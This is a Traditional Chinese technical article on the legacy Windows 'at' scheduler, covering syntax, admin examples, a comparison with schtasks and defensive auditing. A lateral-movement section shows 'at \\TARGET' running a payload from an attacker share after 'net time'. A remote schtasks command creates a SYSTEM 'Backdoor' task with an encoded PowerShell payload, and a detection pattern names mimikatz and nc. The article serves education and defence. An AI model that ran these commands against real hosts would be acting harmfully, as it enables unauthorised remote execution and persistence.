at 是 Windows 早期內建的命令列排程工具,雖在 Win8/Server 2012 後被 schtasks 取代,但在舊系統維護、滲透測試持久化、時間同步攻擊鏈中仍具關鍵價值。本文詳細說明語法、搭配 net time 的實戰組合與現代替代方案。
at [\\電腦名] 時間 [/interactive] [/every:日期[,...] | /next:日期[,...]] 命令
# 參數說明
\\電腦名 遠端主機 (需 RPC/SMB 連線權限)
時間 HH:MM 24小時制
/interactive 允許工作與當前登入桌面互動 (需 LocalSystem 權限)
/every: 週期性排程 (M,T,W,Th,F,S,Su 或 1-31)
/next: 下一次發生的指定日期
命令 要執行的指令/腳本/執行檔 (含完整路徑)
| 需求 | 指令 | 說明 |
|---|---|---|
| 今日 18:30 執行備份腳本 | at 18:30 cmd /c D:\Scripts\backup.bat | 本機一次性 |
| 每天 02:00 清理暫存檔 | at 02:00 /every:M,T,W,Th,F,S,Su cmd /c del /q /s %TEMP%\* | 每日循環 |
| 每月 1 號 03:00 產生報表 | at 03:00 /every:1 powershell -File D:\Scripts\monthly.ps1 | 月度循環 |
| 遠端主機 5 分鐘後重啟 | at \\SERVER01 14:30 shutdown /r /t 300 /f | 需遠端 IPC$ 連線權限 |
| 啟用 Telnet 服務 (配合 net start) | at 06:55 net start telnet | 服務控制排程 |
at # 列出本機所有任務 (顯示任務 ID)
at \\SERVER01 # 列出遠端主機任務
at 1 /delete # 刪除 ID=1 的任務
at /delete /yes # 刪除所有任務 (不提示確認)
net time \\TARGET → 回傳 Current time at \\TARGET is 2024/03/15 14:22:00。at \\TARGET 14:27 net start telnet 或 at \\TARGET 14:27 cmd /c \\ATTACKER\share\payload.exe。前提條件:
1. 攻擊者與目標同網域/信任關係,或已建立 IPC$ 具名連線 (net use \\TARGET\IPC$ pass /u:user)。
2. 目標啟用「排程器」服務 (Schedule/Task Scheduler)。
3. 攻擊者具備目標系統管理員權限 (LocalSystem 執行上下文)。
| 特性 | at | schtasks (現代標準) |
|---|---|---|
| 支援 OS | WinNT~Win7/Server2008 (Win8+ 需啟用相容性) | WinXP/Server2003 至今全支援 |
| 觸發條件 | 時間、週期 (每日/每月) | 時間、週期、事件、閒置、登入、啟動、註冊、WMI 事件 |
| 動作類型 | 單一命令列 | 多動作、多觸發、條件判斷、設定優先權 |
| 安全性上下文 | 固定 LocalSystem (需 /interactive 互動) | 可指定任意使用者、最高權限、網路認證 |
| 遠端管理 | at \\HOST (RPC/SMB) | schtasks /S HOST /U user /P pass (WinRM/RPC) |
| 輸出格式 | 純文字 | TABLE, LIST, CSV, XML |
# 建立每日 02:00 以 SYSTEM 權限執行腳本
schtasks /create /tn "DailyCleanup" /tr "cmd /c D:\Scripts\cleanup.bat" /sc daily /st 02:00 /ru SYSTEM /rl highest
# 遠端建立任務 (需管理員認證)
schtasks /create /S TARGET /U domain\admin /P pass /tn "Backdoor" /tr "powershell -enc BASE64_PAYLOAD" /sc once /st 14:30 /ru SYSTEM
# 查詢/刪除/啟用/停用
schtasks /query /fo CSV /v
schtasks /delete /tn "Backdoor" /f
schtasks /change /tn "DailyCleanup" /disable
schtasks /run /tn "DailyCleanup"
schtasks /query /fo CSV | findstr /i "system\|admin\|backdoor\|payload\|mimikatz\|nc\|powershell -enc" 定期掃描。電腦設定 → Windows 設定 → 安全性設定 → 系統服務 → Task Scheduler → 停用 (非伺服器角色) 或限制非管理員建立任務。schtasks.exe, at.exe 進程建立,提取命令列參數關聯分析。at 指令雖老,但其「時間同步 → 精準投放」的攻擊思維在現代 ATT&CK 技術 T1053.002 (Scheduled Task) 中延續。防禦者應廢用 at、全面遷移 schtasks/Group Policy Preferences,並建立排程任務建立/修改/刪除的全生命週期稽核管線。